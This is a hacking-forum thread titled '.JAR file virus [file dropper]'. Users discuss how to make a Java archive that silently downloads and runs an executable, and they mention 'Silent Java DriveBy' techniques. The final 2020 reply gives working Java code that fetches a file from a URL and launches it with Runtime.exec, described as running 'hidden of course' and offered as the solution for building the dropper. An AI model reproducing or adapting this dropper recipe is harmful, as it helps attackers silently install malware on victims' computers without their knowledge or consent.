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+---- Thread: .JAR file virus [file dropper] (/showthread.php?tid=3857694)
.JAR file virus [file dropper] - omar37 - Nov 10, 2013
Hey guys,
Is it possible to create a .jar file that will download a .exe and execute it silently?
* - MrTing - Nov 10, 2013
You should investigate Java DB's. Should be somewhere in the TuTs.
* - omar37 - Nov 10, 2013
I've searched a lot, theres a way to convert a .exe to .jar but that might corrupt the server?
* - anon1111 - Nov 10, 2013
(Nov 10, 2013 01:13 PM)omar37 Wrote: I've searched a lot, theres a way to convert a .exe to .jar but that might corrupt the server?
normally, you cannot easily convert an exe into a jar, however, the vice versa is easy with 3rd-party tools.
* - Tirus - Nov 10, 2013
Yes, that's considered a Silent Java DriveBy, if you don't want it to become silent, I suggest using a basic Java Driveby.
RE: .JAR file virus [file dropper] - mylotheone - Mar 6, 2020
I know this is really late, but someone might still be looking for it. so here's the solution
public void saveUrl(final String filename, final String urlString)
throws MalformedURLException, IOException {
BufferedInputStream in = null;
FileOutputStream fout = null;
try {
in = new BufferedInputStream(new URL(urlString).openStream());
fout = new FileOutputStream(filename);
final byte data[] = new byte[1024];
int count;
while ((count = in.read(data, 0, 1024)) != -1) {
fout.write(data, 0, count);
}
} finally {
if (in != null) {
in.close();
}
if (fout != null) {
fout.close();
}
}
}
is a function for downloading a file from the internet
Runtime runtime = Runtime.getRuntime();
runtime.exec("file location");
this will execute the text as a command in the command prompt, hidden of course.
if you put the path to an exe in the command prompt it will run it.
so those 2 are required, if you don't know how to use them, learn java.